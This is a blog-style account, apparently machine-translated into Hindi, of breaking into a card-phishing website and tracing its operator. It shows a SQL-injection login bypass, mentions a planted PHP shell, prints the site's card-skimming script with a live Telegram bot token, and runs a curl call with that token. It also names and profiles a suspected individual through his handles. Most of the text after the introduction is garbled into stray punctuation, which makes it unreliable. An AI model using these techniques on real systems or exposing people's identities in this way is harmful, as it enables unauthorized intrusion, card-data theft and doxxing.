अमूर्त

हम में से प्रत्येक हमलावर का शिकार हो सकता है, लेकिन कभी-कभी शिकारी और शिकार बदल जाते हैं।

यह एक छोटी कहानी है कि कैसे प्रौद्योगिकी के अयोग्य उपयोग से व्यक्तित्व का खुलासा हो सकता है। लेख उन दोनों युवा हैकरों के लिए उपयोगी होगा जो "आसान पैसा" प्राप्त करना चाहते हैं, और उन लोगों के लिए जो उन्हें पकड़ना चाहते हैं।

परिचय

एक फरवरी की शाम, मैं अपने प्रेमी के साथ रोमांटिक डेट के लिए जगह तलाशने में व्यस्त था। कुछ समय बाद, मेरा ध्यान साइट मिलेनियमफिल्म.ru पर खींचा गया, जो वर्तमान में उपलब्ध नहीं है। साइट निजी देखने के लिए छोटे सिनेमा हॉल के लिए किराये की सेवाएं प्रदान करती है। सुंदर चित्र, उचित मूल्य, ऑनलाइन समर्थन है, लेकिन एक चीज: यह उसी डोमेन के असुरक्षित पृष्ठ पर बैंक कार्ड डेटा दर्ज करने का प्रस्ताव था। सावधान, मैंने साइट के तकनीकी समर्थन को लिखा था, और स्कैमर्स को इंतजार करने में देर नहीं लगी - यह महसूस करते हुए कि मैं तकनीकी रूप से सक्षम था उन्होंने मुझे 3 पत्र भेजे। बेशक, स्कैमर्स को मुझ पर समय बर्बाद करने का कोई मतलब नहीं है, लेकिन इतना अशिष्ट क्यों है? - किसी भी स्थिति में, आपको मनुष्य बने रहने की आवश्यकता है।

आप यहां उसी योजना की साइटों के बारे में समीक्षा पा सकते हैं: zhaloba-online.ru । उनमें से कुछ अभी भी काम करते हैं।

तोड़ना

सार्वभौमिक अन्याय महसूस करना, हमलावर की पहचान स्थापित करने और उसकी गतिविधियों को दबाने के लिए, मैंने कमजोरियों के लिए साइट का अध्ययन करना शुरू किया। ~~आकाश में एक उंगली से इशारा करते हुए,~~ पहला पता जो मैंने दर्ज किया वह मुझे व्यवस्थापक पैनल में ले गया , जिसने मुझसे विनम्रतापूर्वक "लॉगिन" और "पासवर्ड" इंगित करने के लिए कहा।

स्क्रीनशॉट

~~SQL इंजेक्शन पर पहला प्रयास~~ पहला पासवर्ड जो दिमाग में आया था

1' or '1

, .

Gelloiss.ru . « » — : , , , cvc2 .

. .

, 3D-secure, . , . , 3D-secure . , , .

« » - . , php-shell. /images/, login.php. , .

telegram.php.

$ cat telegram.php
<?
function send_mess($text) {
  $token = "626852480:AAFdn7L61QCMZEAVW7dsdnRGiLINp6d_pgs";
  $mess = $text;
  $chat = "-302359340";
  /*return "<iframe style='width:500px; height:500px;' src='https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chat."&parse_mode=html&text=".$mess."'></iframe>";*/
  file_get_contents("https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chat."&parse_mode=html&text=".$mess);
}

PHP - send_mess. , - , .

grep

./cart.php:22:send_mess(" : ".$name."%0D%0AEmail: ".$email."%0D%0A: ".$phone."%0D%0A : ".$date."%0D%0A".": ".$time."%0D%0A: ".$city."%0D%0A: ".$sum."%0D%0A  : ".$services."%0D%0AIP: ".$ip."%0D%0A: ".$link_ban_ip);
./pay/ms.php:21:  send_mess(": ".$sum."%0D%0A  : ".$name."%0D%0A : ".$num."%0D%0A , : ".$month."%0D%0A: ".$year."%0D%0Acvv: ".$cvv);

, -, chat_id, skype «ura7887» telegram «Gelloiss» ( telegram , telegram- ).

gelloiss.ru

, , .

curl

$ curl "https://api.telegram.org/bot626852480:AAFdn7L61QCMZEAVW7dsdnRGiLINp6d_pgs/getChatAdministrators?chat_id=-302359340"
{"ok":true,"result":[{"user":{"id":365019332,"is_bot":false,"first_name":"Iskr\u00e1","username":"Gelloiss","language_code":"ru"},"status":"creator"}]}

username — «gelloiss».

: ! : «gelloiss», «ura7887», , «Gelloiss.ru», skype «ura7887».

: vk.com , 6 , 14 .

anime.anidub.com.

blackhacker.ru, .

, Gelloiss.ru telegram, telegram- . , telegram- .

shell

$ sha256sum <<< "i'm carder yuri iskra."
a4e0bb4a6d6a214cadd6f6fa96d91c1401d50f01a5cc157b2f56079400e24af8  -

telegram : a4e0bb4a6d6a214cadd6f6fa96d91c1401d50f01a5cc157b2f56079400e24af8 .

telegram

, . , 100 , +100.

, «». « » .

, . : 3 - 13 . , - , 2 . , , . , moneyonline.world.

Update 2019-04-21: gelloiss , , , telegram:

Message(id=31, grouped_id=None, from_id=898775249, edit_date=None, message=' « » ', to_id=PeerUser(user_id=365019332), entities=[], fwd_from=None, views=None, media=None, post=False, media_unread=False, out=True, date=datetime.datetime(2019, 4, 19, 9, 36, 15, tzinfo=datetime.timezone.utc), silent=False, via_bot_id=None, post_author=None, reply_to_msg_id=None, from_scheduled=False, mentioned=False, reply_markup=None),

Message(id=33, grouped_id=None, from_id=365019332, edit_date=None, message='moneyonline.world/pay/?pay=123\n ?)) \n ', to_id=PeerUser(user_id=898775249), entities=[MessageEntityUrl(offset=0, length=38)], fwd_from=None, views=None, media=MessageMediaWebPage(webpage=WebPage(id=8004451420650727228, hash=0, photo=None, description='MoneyOnline.com ‒ , . , , . , .', embed_height=None, embed_width=None, document=None, embed_type=None, site_name='MoneyOnline', cached_page=None, url='https://moneyonline.world/pay/?pay=123', display_url='moneyonline.world/ru', duration=None, author=None, embed_url=None, title='MoneyOnline | , , ', type='article')), post=False, media_unread=False, out=False, date=datetime.datetime(2019, 4, 19, 9, 37, 53, tzinfo=datetime.timezone.utc), silent=False, via_bot_id=None, post_author=None, reply_to_msg_id=None, from_scheduled=False, mentioned=False, reply_markup=None),

मैंने एक हैकर को कैसे पकड़ा

अमूर्त

परिचय

तोड़ना

telegram

More articles: